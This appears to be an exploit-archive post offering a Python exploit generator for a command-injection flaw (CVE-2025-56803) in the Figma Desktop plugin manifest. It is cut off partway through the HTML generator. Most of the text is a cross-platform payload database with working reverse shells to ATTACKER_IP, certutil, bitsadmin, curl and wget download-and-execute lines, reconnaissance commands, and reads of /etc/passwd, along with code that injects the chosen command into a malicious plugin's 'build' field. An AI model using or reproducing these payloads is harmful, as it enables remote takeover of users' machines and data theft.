============================================================================================================================================= | # Title : Figma Desktop Application 125.6.5 RCE via Plugin Manifest | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.figma.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212249/ & CVE-2025-56803 [+] Summary : Figma Desktop Application contains a critical OS command injection vulnerability (CVE-2025-56803) allowing remote attackers to execute arbitrary code on user systems via malicious plugins. [+] POC : python poc.py Usage Examples # List all available payloads python exploit_generator.py --list-payloads # Quick calculator exploit for current OS python exploit_generator.py --quick-calc # Custom payload python exploit_generator.py --payload "notepad.exe" --name "Notepad Plugin" # Generate Windows reverse shell python exploit_generator.py --target windows --type reverse_shells --payload-name powershell # Generate Linux information gathering python exploit_generator.py --target linux --type information_gathering # Generate all demonstration payloads python exploit_generator.py --generate-all # Test mode (no actual plugin creation) python exploit_generator.py --payload "echo test" --test =================================================== #!/usr/bin/env python3 """ FIGMA PLUGIN EXPLOIT - CVE-2025-56803 RCE in Figma Desktop Application (v125.6.5) Author: indoushka """ import os import json import sys import argparse import zipfile import platform import subprocess import base64 import hashlib import uuid import tempfile from pathlib import Path class CompleteFigmaExploit: def __init__(self): self.system = platform.system().lower() self.payload_database = self._create_payload_database() self.plugin_id = str(uuid.uuid4()).replace('-', '')[:16] def _create_payload_database(self): """Create comprehensive payload database""" return { "windows": { "demonstration": { "calc": "calc.exe", "notepad": "notepad.exe", "message": "msg * \"Figma Exploit POC - CVE-2025-56803\"", "sound": "powershell -c (New-Object Media.SoundPlayer \"C:\\Windows\\Media\\notify.wav\").PlaySync()" }, "information_gathering": { "system_info": "systeminfo > %TEMP%\\figma_sys.txt && type %TEMP%\\figma_sys.txt", "network_info": "ipconfig /all & netstat -ano > %TEMP%\\figma_net.txt && type %TEMP%\\figma_net.txt", "user_info": "whoami /all & net users > %TEMP%\\figma_users.txt && type %TEMP%\\figma_users.txt", "process_list": "tasklist > %TEMP%\\figma_process.txt && type %TEMP%\\figma_process.txt" }, "file_operations": { "create_file": "echo Figma Exploit POC > %TEMP%\\figma_poc.txt", "list_files": "dir C:\\Users\\%USERNAME%\\Desktop", "read_file": "type C:\\Windows\\System32\\drivers\\etc\\hosts" }, "reverse_shells": { "powershell": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", "nc_traditional": "powershell -Command \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"" }, "download_execute": { "ps_download": "powershell -Command \"Invoke-WebRequest -Uri 'http://ATTACKER_IP/payload.exe' -OutFile $env:TEMP\\figma_payload.exe; Start-Process $env:TEMP\\figma_payload.exe\"", "certutil": "certutil -urlcache -split -f http://ATTACKER_IP/payload.exe %TEMP%\\figma.exe && %TEMP%\\figma.exe", "bitsadmin": "bitsadmin /transfer myjob /download /priority high http://ATTACKER_IP/payload.exe %TEMP%\\figma.exe && %TEMP%\\figma.exe" } }, "linux": { "demonstration": { "xterm": "xterm -e 'echo \"Figma Exploit POC - CVE-2025-56803\" && sleep 5'", "zenity": "zenity --info --text='Figma Exploit POC\\nCVE-2025-56803'", "notify": "notify-send 'Figma Exploit' 'CVE-2025-56803 POC'", "beep": "echo -e '\\a'" }, "information_gathering": { "system": "uname -a > /tmp/figma_sys.txt; cat /tmp/figma_sys.txt", "network": "ifconfig & netstat -tulpn > /tmp/figma_net.txt; cat /tmp/figma_net.txt", "users": "id & whoami > /tmp/figma_users.txt; cat /tmp/figma_users.txt", "processes": "ps aux > /tmp/figma_ps.txt; cat /tmp/figma_ps.txt" }, "file_operations": { "create_file": "echo 'Figma Exploit POC' > /tmp/figma_poc.txt", "list_home": "ls -la ~/", "read_file": "cat /etc/passwd" }, "reverse_shells": { "bash": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", "python": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", "perl": "perl -e 'use Socket;$i=\"ATTACKER_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", "nc": "nc -e /bin/sh ATTACKER_IP 4444" }, "download_execute": { "curl": "curl http://ATTACKER_IC/payload.sh -o /tmp/figma.sh && chmod +x /tmp/figma.sh && /tmp/figma.sh", "wget": "wget http://ATTACKER_IP/payload.sh -O /tmp/figma.sh && chmod +x /tmp/figma.sh && /tmp/figma.sh" } }, "darwin": { "demonstration": { "calculator": "open -a Calculator", "textedit": "open -a TextEdit", "notification": "osascript -e 'display notification \"Figma Exploit POC\" with title \"CVE-2025-56803\"'", "alert": "osascript -e 'tell app \"System Events\" to display dialog \"Figma Exploit POC\"'", "say": "say \"Figma exploit successful\"" }, "information_gathering": { "system": "system_profiler SPSoftwareDataType > /tmp/figma_mac.txt; cat /tmp/figma_mac.txt", "network": "ifconfig & netstat -an > /tmp/figma_net_mac.txt; cat /tmp/figma_net_mac.txt", "users": "whoami & id > /tmp/figma_users_mac.txt; cat /tmp/figma_users_mac.txt" }, "reverse_shells": { "bash": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", "python_mac": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" }, "download_execute": { "curl_mac": "curl http://ATTACKER_IP/payload.sh -o /tmp/figma_mac.sh && chmod +x /tmp/figma_mac.sh && /tmp/figma_mac.sh" } } } def create_manifest(self, plugin_name="Demo Plugin", command="calc.exe", plugin_id=None): """Create malicious manifest.json file content""" if not plugin_id: plugin_id = self.plugin_id manifest = { "name": plugin_name, "id": plugin_id, "api": "1.0.0", "main": "code.js", "build": command, # VULNERABLE FIELD - Executed without sanitization "capabilities": [], "enableProposedApi": False, "documentAccess": "dynamic-page", "editorType": ["figma"], "networkAccess": { "allowedDomains": ["none"] } } return json.dumps(manifest, indent=2) def create_code_js(self): """Create plugin's main JavaScript file""" code = """figma.showUI(__html__, { width: 400, height: 300 }); // Plugin message handler figma.ui.onmessage = async (msg) => { switch (msg.type) { case 'close': await figma.closePlugin(); break; case 'notify': figma.notify("Plugin executed successfully"); break; } }; // Auto-close after 5 seconds setTimeout(() => { figma.closePlugin(); }, 5000); """ return code def create_index_html(self, payload_description): """Create HTML UI for the plugin""" html = f"""
This plugin demonstrates a security vulnerability.